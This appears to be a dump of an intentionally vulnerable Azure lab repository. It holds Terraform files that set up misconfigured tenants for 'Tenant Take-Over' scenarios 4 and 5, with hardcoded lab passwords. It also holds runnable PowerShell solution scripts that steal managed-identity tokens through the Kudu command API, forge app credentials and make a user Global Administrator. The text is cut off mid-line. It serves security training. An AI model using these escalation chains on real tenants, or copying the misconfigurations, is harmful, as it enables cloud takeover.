"PowerShell HTTP trigger function processed a request." 8 | 9 | # Interact with query parameters or the body of the request. 10 | $name = $Request.Query.Name 11 | if (-not $name) { 12 | $name = $Request.Body.Name 13 | } 14 | 15 | $body = "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response." 16 | 17 | if ($name) { 18 | $body = "Hello, $name. This HTTP triggered function executed successfully." 19 | } 20 | 21 | # Associate values to output bindings by calling 'Push-OutputBinding'. 22 | Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{ 23 | StatusCode = [HttpStatusCode]::OK 24 | Body = $body 25 | }) 26 | -------------------------------------------------------------------------------- /scenarios/scenario_4/README.md: -------------------------------------------------------------------------------- 1 | # Tenant Take-Over 2 | Attack flow: 3 | 4 | ![Tenant Take-Over Flow](./scenario4_flow.png) 5 | 6 | The solution can be found [here](./solution.md). 7 | -------------------------------------------------------------------------------- /scenarios/scenario_4/main.tf: -------------------------------------------------------------------------------- 1 | ############################################################################# 2 | # VARIABLES 3 | ############################################################################# 4 | variable "user_name" { 5 | type = string 6 | default = "us4" 7 | } 8 | 9 | variable "resource_group" { 10 | type = string 11 | description = "Existing resource group to deploy resources" 12 | default = "sc4" 13 | } 14 | 15 | variable "domain" { 16 | type = string 17 | description = "Domain name (for example: contoso.onmicrosoft.com)" 18 | default = "xmazuretestgmail.onmicrosoft.com" 19 | } 20 | 21 | variable "user_password" { 22 | type = string 23 | default = "Hahahaha147222343!" 24 | } 25 | 26 | variable "user_assigned_identity_name" { 27 | type = string 28 | default = "id4" 29 | } 30 | 31 | ############################################################################# 32 | # DATA 33 | ############################################################################# 34 | data "azurerm_client_config" "current" {} 35 | 36 | data "azurerm_subscription" "current" {} 37 | 38 | data "azurerm_resource_group" "current" { 39 | name = var.resource_group 40 | } 41 | 42 | data "azuread_application_published_app_ids" "well_known" {} 43 | 44 | 45 | ############################################################################# 46 | # PROVIDERS 47 | ############################################################################# 48 | 49 | 50 | 51 | provider "azurerm" { 52 | features {} 53 | } 54 | 55 | provider "azuread" { 56 | } 57 | 58 | 59 | ############################################################################# 60 | # RESOURCES 61 | ############################################################################# 62 | 63 | ## AZURE AD USER ## 64 | 65 | resource "azuread_user" "user" { 66 | user_principal_name = "${var.user_name}@${var.domain}" 67 | display_name = var.user_name 68 | password = var.user_password 69 | } 70 | 71 | resource "azuread_service_principal" "msgraph" { 72 | application_id = data.azuread_application_published_app_ids.well_known.result.MicrosoftGraph 73 | use_existing = true 74 | } 75 | 76 | resource "azuread_application" "scenario4App" { 77 | display_name = "scenario4App" 78 | 79 | required_resource_access { 80 | resource_app_id = data.azuread_application_published_app_ids.well_known.result.MicrosoftGraph 81 | 82 | resource_access { 83 | id = azuread_service_principal.msgraph.app_role_ids["RoleManagement.ReadWrite.Directory"] 84 | type = "Role" 85 | } 86 | 87 | resource_access { 88 | id = azuread_service_principal.msgraph.oauth2_permission_scope_ids["RoleManagement.ReadWrite.Directory"] 89 | type = "Scope" 90 | } 91 | } 92 | } 93 | 94 | 95 | resource "azuread_service_principal" "scenario4SPN" { 96 | application_id = azuread_application.scenario4App.application_id 97 | } 98 | 99 | ## AZURE APP FUNCTION ## 100 | 101 | resource "azurerm_storage_account" "main" { 102 | name = "xmgoat4" 103 | resource_group_name = data.azurerm_resource_group.current.name 104 | location = data.azurerm_resource_group.current.location 105 | account_tier = "Standard" 106 | account_replication_type = "LRS" 107 | } 108 | 109 | resource "azurerm_storage_container" "main" { 110 | name = "function-releases" 111 | storage_account_name = azurerm_storage_account.main.name 112 | container_access_type = "private" 113 | } 114 | 115 | resource "azurerm_service_plan" "main" { 116 | name = "xmgoat4" 117 | resource_group_name = data.azurerm_resource_group.current.name 118 | location = data.azurerm_resource_group.current.location 119 | os_type = "Windows" 120 | sku_name = "Y1" 121 | } 122 | 123 | 124 | resource "azurerm_user_assigned_identity" "main" { 125 | name = var.user_assigned_identity_name 126 | resource_group_name = data.azurerm_resource_group.current.name 127 | location = data.azurerm_resource_group.current.location 128 | } 129 | 130 | resource "azurerm_windows_function_app" "main" { 131 | name = "sc4-windows-function-app" 132 | resource_group_name = data.azurerm_resource_group.current.name 133 | location = data.azurerm_resource_group.current.location 134 | 135 | storage_account_name = azurerm_storage_account.main.name 136 | storage_account_access_key = azurerm_storage_account.main.primary_access_key 137 | service_plan_id = azurerm_service_plan.main.id 138 | 139 | site_config {} 140 | 141 | identity { 142 | type = "SystemAssigned, UserAssigned" 143 | identity_ids = [azurerm_user_assigned_identity.main.id] 144 | } 145 | } 146 | 147 | ## AZURE ROLE AND ROLE ASSIGNMENT ## 148 | 149 | resource "azurerm_role_definition" "generate-jwt-token-to-scm-1" { 150 | name = "Generate JWT Token to SCM-1" 151 | scope = data.azurerm_subscription.current.id 152 | description = "This role allow to update function code" 153 | 154 | permissions { 155 | actions = ["Microsoft.web/sites/Read", "Microsoft.Web/sites/publish/Action", "Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleDefinitions/read","Microsoft.ManagedIdentity/identities/read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"] 156 | not_actions = [] 157 | } 158 | 159 | assignable_scopes = [ 160 | data.azurerm_subscription.current.id, 161 | ] 162 | } 163 | 164 | resource "azurerm_role_definition" "custom-identity-reader" { 165 | name = "Custom Identity reader" 166 | scope = data.azurerm_subscription.current.id 167 | description = "This role allow to recon identities" 168 | 169 | permissions { 170 | actions = ["Microsoft.ManagedIdentity/identities/read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"] 171 | not_actions = [] 172 | } 173 | 174 | assignable_scopes = [ 175 | data.azurerm_subscription.current.id, 176 | ] 177 | } 178 | 179 | resource "azurerm_role_assignment" "generate-jwt-token-to-scm-1" { 180 | scope = azurerm_windows_function_app.main.id 181 | role_definition_id = split("|", azurerm_role_definition.generate-jwt-token-to-scm-1.id)[0] 182 | principal_id = azuread_user.user.id 183 | } 184 | 185 | resource "azurerm_role_assignment" "custom-identity-reader" { 186 | scope = data.azurerm_subscription.current.id 187 | role_definition_id = split("|", azurerm_role_definition.custom-identity-reader.id)[0] 188 | principal_id = azuread_user.user.id 189 | } 190 | 191 | ## Directory Roles 192 | resource "azuread_directory_role" "appAdmin" { 193 | display_name = "Application administrator" 194 | } 195 | 196 | resource "azuread_directory_role_member" "appAdminMembers" { 197 | role_object_id = azuread_directory_role.appAdmin.object_id 198 | member_object_id = azurerm_user_assigned_identity.main.principal_id 199 | } 200 | 201 | resource "azuread_app_role_assignment" "ADRoleManagementRole" { 202 | app_role_id = azuread_service_principal.msgraph.app_role_ids["RoleManagement.ReadWrite.Directory"] 203 | principal_object_id = azuread_service_principal.scenario4SPN.object_id 204 | resource_object_id = azuread_service_principal.msgraph.object_id 205 | } 206 | 207 | ## Output 208 | output "username"{ 209 | value = azuread_user.user.user_principal_name 210 | } 211 | output "password" { 212 | value = azuread_user.user.password 213 | sensitive = true 214 | } 215 | -------------------------------------------------------------------------------- /scenarios/scenario_4/scenario4_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_4/scenario4_flow.png -------------------------------------------------------------------------------- /scenarios/scenario_4/solution.md: -------------------------------------------------------------------------------- 1 | This can be executed as a powershell script 2 | 3 | #--------------------------------------------------- 4 | 5 | 6 | Disconnect-AzAccount 7 | Disconnect-AzureAD 8 | #-----------------ConnectToAzureUser-----------------------------# 9 | $us4Username = "us4@xmazuretestgmail.onmicrosoft.com" 10 | $us4Password = "Hahahaha147222343!" 11 | $SecurePassword = ConvertTo-SecureString $us4Password -AsPlainText -Force 12 | $Credential = New-Object System.Management.Automation.PSCredential -argumentlist $us4Username, $SecurePassword 13 | Connect-AzureAD –Credential $Credential 14 | Connect-AzAccount -Credential $Credential 15 | 16 | #-------------------------------------------ReconnaissanceUS4----------------------------------------------# 17 | 18 | #----------------Azure-ARM-------------------# 19 | Get-AzRoleAssignment 20 | 21 | $us4RoleAssignment = (Get-AzRoleAssignment).RoleDefinitionId 22 | 23 | (Get-AzRoleDefinition -Id $us4RoleAssignment).Actions 24 | 25 | #----------------ADDirectoryRole-------------------# 26 | $us4ADDirectoryRole = (Get-AzureADDirectoryRole | Where-Object{$_.DisplayName -eq "Global Reader"}).objectID 27 | 28 | #Show that US4 have "Global Reader" permission 29 | Get-AzureADDirectoryRoleMember -ObjectId $us4ADDirectoryRole 30 | 31 | #-------------------------------------------AttackSCM-------------------------------------------------------# 32 | 33 | #----------------ReconForID4-------------------# 34 | 35 | $id4ADDirectoryRole = (Get-AzureADDirectoryRole | Where-Object{$_.DisplayName -eq "Application Administrator"}).objectID 36 | 37 | #Found ID4 have "Application Administrator" permission 38 | Get-AzureADDirectoryRoleMember -ObjectId $id4ADDirectoryRole 39 | 40 | #Get ID4 Client ID 41 | 42 | $id4ClientID = (Get-AzUserAssignedIdentity -Name id4 -ResourceGroupName sc4).ClientId 43 | 44 | $id4ClientID 45 | 46 | #----------------ExecuteCommandKuduGetID4Token-------------------# 47 | 48 | $GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="74eeca0b-fa67-4645-aed9-ab699e4729ef";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://graph.microsoft.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent' 49 | $Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload)) 50 | $us4Token = (Get-AzAccessToken).Token 51 | $method = "POST" 52 | $URI = "https://sc4-windows-function-app.scm.azurewebsites.net:443/api/command" 53 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 54 | $headers.Add("Host", "sc4-windows-function-app.scm.azurewebsites.net") 55 | $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 56 | $headers.Add("Authorization", "Bearer $($us4Token)") 57 | $contentType = "application/json" 58 | $body = "{ 59 | `"command`":`"powershell -EncodedCommand $($Encoded64)`", 60 | `"dir`":`"C:\\home`" 61 | } 62 | " 63 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body) 64 | $response.Content 65 | 66 | #Token For ID4 67 | $id4Token = (($response.Content).Split('"')[6]).split("\") 68 | 69 | $id4Token 70 | #-------------------------------------------AttackAppRegistrations-------------------------------------------------------# 71 | 72 | 73 | #----------------ReconForscenario4App-------------------# 74 | 75 | $appObjectID = (Get-AzureADApplication -SearchString scenario4App).ObjectID 76 | $app = Get-AzureADApplication -ObjectId $appObjectID 77 | $app.requiredResourceAccess | ConvertTo-Json -Depth 3 78 | 79 | $scenario4Role = (((($app.requiredResourceAccess | ConvertTo-Json -Depth 3).split("Id:")[7]).split(",")[0]).trim()).split('"')[1] 80 | 81 | #Show scenario4app have "RoleManagement.ReadWrite.Directory" 82 | 83 | $scenario4SP = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq '00000003-0000-0000-c000-000000000000'} 84 | $scenario4SP.AppRoles | Where-Object {$_.Id -eq $($scenario4Role)} 85 | 86 | #Get All the requirement data for The RestAPI 87 | 88 | $scenario4AppID = (Get-AzureADApplication -SearchString scenario4App).AppId 89 | $scenario4ObjectID = (Get-AzureADApplication -SearchString scenario4App).objectid 90 | $us4ObjectID = (Get-AzureADUser -SearchString us4).ObjectID 91 | 92 | #----------------AddUS4OwnerOnscenario4App-------------------# 93 | 94 | $method = "POST" 95 | $URI = "https://graph.microsoft.com:443/v1.0//applications/$($scenario4ObjectID)/owners/`$ref" 96 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 97 | $headers.Add("Host", "graph.microsoft.com") 98 | $headers.Add("Accept", "text/html,application/xhtml+xml") 99 | $headers.Add("Authorization", "Bearer $($id4Token)") 100 | $contentType = "application/json" 101 | $body = "{ 102 | `"@odata.id`":`"https://graph.microsoft.com/v1.0/directoryObjects/$($us4ObjectID)`" 103 | } 104 | " 105 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -WebSession $webSession -Body $body) 106 | 107 | if($response.StatusCode -eq 200 -or $response.StatusCode -eq 204){ 108 | Write-Host "[+] The user us4 is scenario4App application owner!!" 109 | Start-Sleep -s 10 110 | } 111 | 112 | Start-Sleep -s 10 113 | #POC 114 | $scenario4ObjectID = (Get-AzureADApplication -SearchString scenario4App).objectID 115 | Get-AzureADApplicationOwner -ObjectId $scenario4ObjectID 116 | 117 | #-------------------------------------------GetTheGlobalAdministrator-------------------------------------------------------# 118 | 119 | #Use the new permission of us4 as owner 120 | 121 | Try 122 | { 123 | Start-Sleep -s 10 124 | $AppPassword = New-AzureADApplicationPasswordCredential -ObjectID $scenario4ObjectID 125 | } 126 | Catch 127 | { 128 | exit 129 | } 130 | 131 | $TenantID = (Get-AzSubscription).TenantId 132 | Disconnect-AzAccount 133 | Start-Sleep -s 10 134 | $scenario4Token = $null 135 | 136 | 137 | #----------------ConnectToServicePrincpal-------------------# 138 | $AzureApplicationID = $scenario4AppID 139 | $AzureTenantID = $TenantID 140 | $AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force 141 | $psCred = New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword) 142 | Try 143 | { 144 | Start-Sleep -s 10 145 | Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal 146 | } 147 | Catch 148 | { 149 | exit 150 | } 151 | 152 | $GlobalAdministratorObjectID = (Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}).ObjectId 153 | 154 | #Get SP Token 155 | $APSUser = Get-AzContext *>&1 156 | $resource = "https://graph.microsoft.com" 157 | $scenario4Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` 158 | $APSUser.Account, ` 159 | $APSUser.Environment, ` 160 | $APSUser.Tenant.Id.ToString(), ` 161 | $null, ` 162 | [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` 163 | $null, ` 164 | $resource).AccessToken 165 | 166 | #----------------AddUS4TOGlobalAdministrators-------------------# 167 | 168 | $method = "POST" 169 | $URI = "https://graph.microsoft.com:443/v1.0/directoryRoles/$($GlobalAdministratorObjectID)/members/`$ref" 170 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 171 | $headers.Add("Host", "graph.microsoft.com") 172 | $headers.Add("Accept", "text/html,application/xhtml+xml") 173 | $headers.Add("Authorization", "Bearer $($scenario4Token)") 174 | $contentType = "application/json" 175 | $body = "{ 176 | `"@odata.id`":`"https://graph.microsoft.com/v1.0/directoryObjects/$($us4ObjectID)`" 177 | } 178 | " 179 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -WebSession $webSession -Body $body) 180 | 181 | if($response.StatusCode -eq 200 -or $response.StatusCode -eq 204){ 182 | Write-Host "[+] US4 Is Global Administrator Now" 183 | Get-AzureADDirectoryRoleMember -ObjectID $GlobalAdministratorObjectID | Where-Object {$_.DisplayName -eq "us4"} 184 | } 185 | 186 | Write-Host "[+]Done!!" 187 | -------------------------------------------------------------------------------- /scenarios/scenario_5/README.md: -------------------------------------------------------------------------------- 1 | # Tenant Take-Over 2 | Attack flow: 3 | 4 | ![Tenant Take-Over Flow](./scenario5_flow.png) 5 | 6 | The solution can be found [here](./solution.md). 7 | -------------------------------------------------------------------------------- /scenarios/scenario_5/SensitiveData.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_5/SensitiveData.zip -------------------------------------------------------------------------------- /scenarios/scenario_5/main.tf: -------------------------------------------------------------------------------- 1 | ############################################################################# 2 | # VARIABLES 3 | ############################################################################# 4 | variable "user_name" { 5 | type = string 6 | default = "us5" 7 | } 8 | 9 | variable "resource_group" { 10 | type = string 11 | description = "Existing resource group to deploy resources" 12 | default = "sc5" 13 | } 14 | 15 | variable "key_vault_name" { 16 | type = string 17 | description = "key vault name" 18 | default = "kv5zur555" 19 | } 20 | 21 | variable "domain" { 22 | type = string 23 | description = "Domain name (for example: contoso.onmicrosoft.com)" 24 | default = "xmazuretestgmail.onmicrosoft.com" 25 | } 26 | 27 | variable "user_password" { 28 | type = string 29 | default = "Hahahaha147222343!" 30 | } 31 | 32 | variable "user_assigned_identity_name" { 33 | type = string 34 | default = "id5" 35 | } 36 | 37 | ############################################################################# 38 | # DATA 39 | ############################################################################# 40 | data "azurerm_client_config" "current" {} 41 | 42 | data "azurerm_subscription" "current" {} 43 | 44 | data "azurerm_resource_group" "current" { 45 | name = var.resource_group 46 | } 47 | 48 | 49 | ############################################################################# 50 | # PROVIDERS 51 | ############################################################################# 52 | 53 | provider "azurerm" { 54 | features {} 55 | } 56 | 57 | provider "azuread" { 58 | } 59 | 60 | 61 | ############################################################################# 62 | # RESOURCES 63 | ############################################################################# 64 | 65 | ## AZURE AD USER ## 66 | 67 | resource "azuread_user" "user" { 68 | user_principal_name = "${var.user_name}@${var.domain}" 69 | display_name = var.user_name 70 | password = var.user_password 71 | } 72 | 73 | resource "azuread_application" "scenario5App" { 74 | display_name = "scenario5App" 75 | owners = [azuread_user.user.object_id] 76 | } 77 | 78 | resource "azuread_service_principal" "scenario5SPN" { 79 | application_id = azuread_application.scenario5App.application_id 80 | owners = [azuread_user.user.object_id] 81 | } 82 | 83 | ## AZURE APP FUNCTION ## 84 | 85 | resource "azurerm_storage_account" "sensitiveSA" { 86 | name = "xmgoat5" 87 | resource_group_name = data.azurerm_resource_group.current.name 88 | location = data.azurerm_resource_group.current.location 89 | account_tier = "Standard" 90 | account_replication_type = "LRS" 91 | } 92 | 93 | resource "azurerm_storage_container" "sensitiveCont" { 94 | name = "sensitive-data" 95 | storage_account_name = azurerm_storage_account.sensitiveSA.name 96 | container_access_type = "blob" 97 | } 98 | 99 | resource "azurerm_storage_blob" "sensitiveZIP" { 100 | name = "SensitiveData.zip" 101 | storage_account_name = azurerm_storage_account.sensitiveSA.name 102 | storage_container_name = azurerm_storage_container.sensitiveCont.name 103 | type = "Block" 104 | source = "./SensitiveData.zip" 105 | } 106 | 107 | resource "azurerm_service_plan" "main" { 108 | name = "xmgoat5" 109 | resource_group_name = data.azurerm_resource_group.current.name 110 | location = data.azurerm_resource_group.current.location 111 | os_type = "Windows" 112 | sku_name = "Y1" 113 | } 114 | 115 | 116 | resource "azurerm_user_assigned_identity" "app-identity" { 117 | name = var.user_assigned_identity_name 118 | resource_group_name = data.azurerm_resource_group.current.name 119 | location = data.azurerm_resource_group.current.location 120 | } 121 | 122 | resource "azurerm_windows_function_app" "main" { 123 | name = "sc5-windows-function-app" 124 | resource_group_name = data.azurerm_resource_group.current.name 125 | location = data.azurerm_resource_group.current.location 126 | 127 | storage_account_name = azurerm_storage_account.sensitiveSA.name 128 | storage_account_access_key = azurerm_storage_account.sensitiveSA.primary_access_key 129 | service_plan_id = azurerm_service_plan.main.id 130 | 131 | site_config {} 132 | 133 | identity { 134 | type = "SystemAssigned, UserAssigned" 135 | identity_ids = [azurerm_user_assigned_identity.app-identity.id] 136 | } 137 | } 138 | 139 | resource "azurerm_key_vault" "secrets-key-vault" { 140 | name = var.key_vault_name 141 | location = data.azurerm_resource_group.current.location 142 | resource_group_name = data.azurerm_resource_group.current.name 143 | enabled_for_disk_encryption = true 144 | tenant_id = data.azurerm_client_config.current.tenant_id 145 | purge_protection_enabled = false 146 | sku_name = "standard" 147 | 148 | access_policy { 149 | tenant_id = data.azurerm_client_config.current.tenant_id 150 | object_id = data.azurerm_client_config.current.object_id 151 | key_permissions = [ 152 | "Get", 153 | ] 154 | secret_permissions = [ 155 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set", 156 | ] 157 | storage_permissions = [ 158 | "Get", 159 | ] 160 | } 161 | 162 | access_policy { 163 | tenant_id = data.azurerm_client_config.current.tenant_id 164 | object_id = azurerm_user_assigned_identity.app-identity.principal_id 165 | key_permissions = [ 166 | "Get", 167 | ] 168 | secret_permissions = [ 169 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set", 170 | ] 171 | storage_permissions = [ 172 | "Get", 173 | ] 174 | } 175 | } 176 | 177 | resource "azurerm_key_vault_secret" "secret" { 178 | name = "ZIP-Password" 179 | value = "Hahahaha147222343!" 180 | key_vault_id = azurerm_key_vault.secrets-key-vault.id 181 | depends_on = [azurerm_key_vault.secrets-key-vault] 182 | } 183 | 184 | ## AZURE ROLE AND ROLE ASSIGNMENT ## 185 | 186 | resource "azurerm_role_definition" "public-xml-scm-service-1" { 187 | name = "Publish XML SCM service-1" 188 | scope = data.azurerm_subscription.current.id 189 | description = "This role allow to update function code" 190 | 191 | permissions { 192 | actions = ["microsoft.web/publishingusers/write", "Microsoft.Web/sites/publishxml/Action", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/Write", "Microsoft.Web/sites/publish/Action", "Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleDefinitions/read", "Microsoft.Web/sites/Read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"] 193 | not_actions = [] 194 | } 195 | 196 | assignable_scopes = [ 197 | data.azurerm_subscription.current.id, 198 | ] 199 | } 200 | 201 | resource "azurerm_role_definition" "custom-identity-reader-sc5-11" { 202 | name = "Custom Identity reader sc5-11" 203 | scope = data.azurerm_subscription.current.id 204 | description = "This role allow to recon identities" 205 | 206 | permissions { 207 | actions = ["Microsoft.ManagedIdentity/identities/read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"] 208 | not_actions = [] 209 | } 210 | 211 | assignable_scopes = [ 212 | data.azurerm_subscription.current.id, 213 | ] 214 | } 215 | 216 | resource "azurerm_role_definition" "encrypt-decrypt-storage-account-role-111" { 217 | name = "Encrypt and Decrypt storage account role-111" 218 | scope = data.azurerm_subscription.current.id 219 | description = "This role allow to update function code" 220 | 221 | permissions { 222 | actions = ["Microsoft.Storage/storageAccounts/read", "Microsoft.Storage/storageAccounts/blobServices/containers/read", "Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleDefinitions/read", "Microsoft.Storage/storageAccounts/listAccountSas/action"] 223 | data_actions = ["Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read"] 224 | not_actions = [] 225 | } 226 | 227 | assignable_scopes = [ 228 | data.azurerm_subscription.current.id, 229 | ] 230 | } 231 | 232 | resource "azurerm_role_assignment" "public-xml-scm-service-assignment" { 233 | scope = azurerm_windows_function_app.main.id 234 | role_definition_id = split("|", azurerm_role_definition.public-xml-scm-service-1.id)[0] 235 | principal_id = azuread_service_principal.scenario5SPN.id 236 | } 237 | 238 | resource "azurerm_role_assignment" "custom-identity-reader-sc5" { 239 | scope = data.azurerm_subscription.current.id 240 | role_definition_id = split("|", azurerm_role_definition.custom-identity-reader-sc5-11.id)[0] 241 | principal_id = azuread_service_principal.scenario5SPN.id 242 | } 243 | 244 | resource "azurerm_role_assignment" "encrypt-decrypt-storage-account-assignment" { 245 | scope = azurerm_storage_account.sensitiveSA.id 246 | role_definition_id = split("|", azurerm_role_definition.encrypt-decrypt-storage-account-role-111.id)[0] 247 | principal_id = azurerm_user_assigned_identity.app-identity.principal_id 248 | } 249 | 250 | 251 | ## Output 252 | output "username"{ 253 | value = azuread_user.user.user_principal_name 254 | } 255 | output "password" { 256 | value = azuread_user.user.password 257 | sensitive = true 258 | } 259 | -------------------------------------------------------------------------------- /scenarios/scenario_5/scenario5_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_5/scenario5_flow.png -------------------------------------------------------------------------------- /scenarios/scenario_5/solution.md: -------------------------------------------------------------------------------- 1 | This can be executed as a powershell script 2 | 3 | #--------------------------------------------------- 4 | 5 | Disconnect-AzAccount 6 | #------------------------------------------ConnectToAzureUser----------------------------------------------# 7 | $us5Username = "us5@xmazuretestgmail.onmicrosoft.com" 8 | $us5Password = "Hahahaha147222343!" 9 | $SecurePassword = ConvertTo-SecureString $us5Password -AsPlainText -Force 10 | $Credential = New-Object System.Management.Automation.PSCredential -argumentlist $us5Username, $SecurePassword 11 | Connect-AzureAD –Credential $Credential 12 | #----------------Whoami-------------------# 13 | ((Get-AzContext).Account).ID 14 | 15 | #-------------------------------------------ReconnaissanceUS5----------------------------------------------# 16 | 17 | #------------CheckIfUS5ApplicationOwner------------# 18 | 19 | $arrAppObjectId = @((Get-AzureADApplication).ObjectId) 20 | foreach($objectId in $arrAppObjectId){Get-AzureADApplicationOwner -ObjectId $objectId | Where-Object{$_.DisplayName -eq "us5"}} 21 | 22 | #-------------------------------------------ReconnaissanceScenario5App----------------------------------------------# 23 | $scenario5ObjectID = (Get-AzureADApplication -SearchString scenarioapp6).ObjectId 24 | $scenario5AppID = (Get-AzureADApplication -SearchString scenarioapp6).AppId 25 | 26 | 27 | $appObjectID = (Get-AzureADApplication -SearchString scenarioapp6).ObjectID 28 | $app = Get-AzureADApplication -ObjectId $appObjectID 29 | $app.requiredResourceAccess | ConvertTo-Json -Depth 3 30 | 31 | $scenario5Role = (($app.requiredResourceAccess | ConvertTo-Json -Depth 3).split(":")[3].split('"')[1]).trim() 32 | 33 | $scenario5SP = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq '00000003-0000-0000-c000-000000000000'} 34 | $scenario5SP.AppRoles | Where-Object {$_.Id -eq $scenario5Role} 35 | 36 | #---------------------------------UseOwnerPrivilegeToConnectServicePrincapl--------------------------------# 37 | Try{ 38 | $AppPassword = New-AzureADApplicationPasswordCredential -ObjectID $scenario5ObjectID 39 | Start-Sleep -s 5 40 | } 41 | catch{ 42 | exit 43 | } 44 | Start-Sleep -s 20 45 | $TenantID = (Get-AzureADTenantDetail).ObjectId 46 | 47 | Write-Host "[+] Disconnect FROM AZURE" 48 | Disconnect-AzAccount 49 | $scenario5Token = $null 50 | 51 | 52 | #----------------ConnectToServicePrincpal-------------------# 53 | 54 | $AzureApplicationID =$scenario5AppID 55 | $AzureTenantID = $TenantID 56 | $AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force 57 | $psCred = (New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword)) 58 | Start-Sleep -s 20 59 | Write-Host "[+] Connect To Service Principal" 60 | 61 | Try{ 62 | 63 | Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal 64 | } 65 | Catch{ 66 | Write-output "Could not connect to Azure" 67 | exit 68 | } 69 | 70 | #Get SP Token 71 | Start-Sleep -s 20 72 | $APSUser = Get-AzContext *>&1 73 | $resource = "https://management.azure.com" 74 | $scenario5Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` 75 | $APSUser.Account, ` 76 | $APSUser.Environment, ` 77 | $APSUser.Tenant.Id.ToString(), ` 78 | $null, ` 79 | [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` 80 | $null, ` 81 | $resource).AccessToken 82 | 83 | $arr = @("SubscriptionId","ResourceGroupName","Name") 84 | $uriParam = [System.Collections.ArrayList]::new() 85 | foreach($param in $arr){$uriParam.add(((Get-AzFunctionApp)|Where-Object{$_.Name -cmatch "sc5"}).$($param))} 86 | 87 | 88 | #-------------------------------------------PublishNewUsertoSCM----------------------------------------------# 89 | 90 | #Microsoft.Web/sites/publishxml/Action 91 | $method = "POST" 92 | $URI = "https://management.azure.com:443/subscriptions/$($uriParam[0])/resourceGroups/$($uriParam[1])/providers/Microsoft.Web/sites/$($uriParam[2])/publishxml?api-version=2022-03-01" 93 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 94 | $headers.Add("Host", "management.azure.com") 95 | $headers.Add("Accept", "text/html,application/xhtml+xml") 96 | $headers.Add("Authorization", "Bearer $($scenario5Token)") 97 | $contentType = [System.String]::new("application/x-www-form-urlencoded") 98 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $URIParams) 99 | $userSCM = ($response.Content).split('"')[9] 100 | $passwordSCM = ($response.Content).split('"')[11] 101 | 102 | Write-Host "[+] UserName : $($userSCM)" 103 | Write-Host "[+] Password : $($passwordSCM)" 104 | 105 | 106 | 107 | #----------------ReconForID5-------------------# 108 | 109 | #Get ID5 Client ID 110 | $id5ClientID = (Get-AzUserAssignedIdentity -Name id5 -ResourceGroupName sc5).ClientId 111 | 112 | #---------------------------------ExecuteCommandKuduGetID5Token----------------------------------------------# 113 | 114 | $base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM,$passwordSCM))) 115 | $GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="0de890fb-8bd4-42f3-9de7-5b236df07468";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://management.azure.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent' 116 | $Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload)) 117 | $method = "POST" 118 | $URI = "https://sc5-windows-function-app.scm.azurewebsites.net:443/api/command" 119 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 120 | $headers.Add("Host", "sc5-windows-function-app.scm.azurewebsites.net") 121 | $userAgent = "Mozilla/5.0 (Windows NT 10.0; 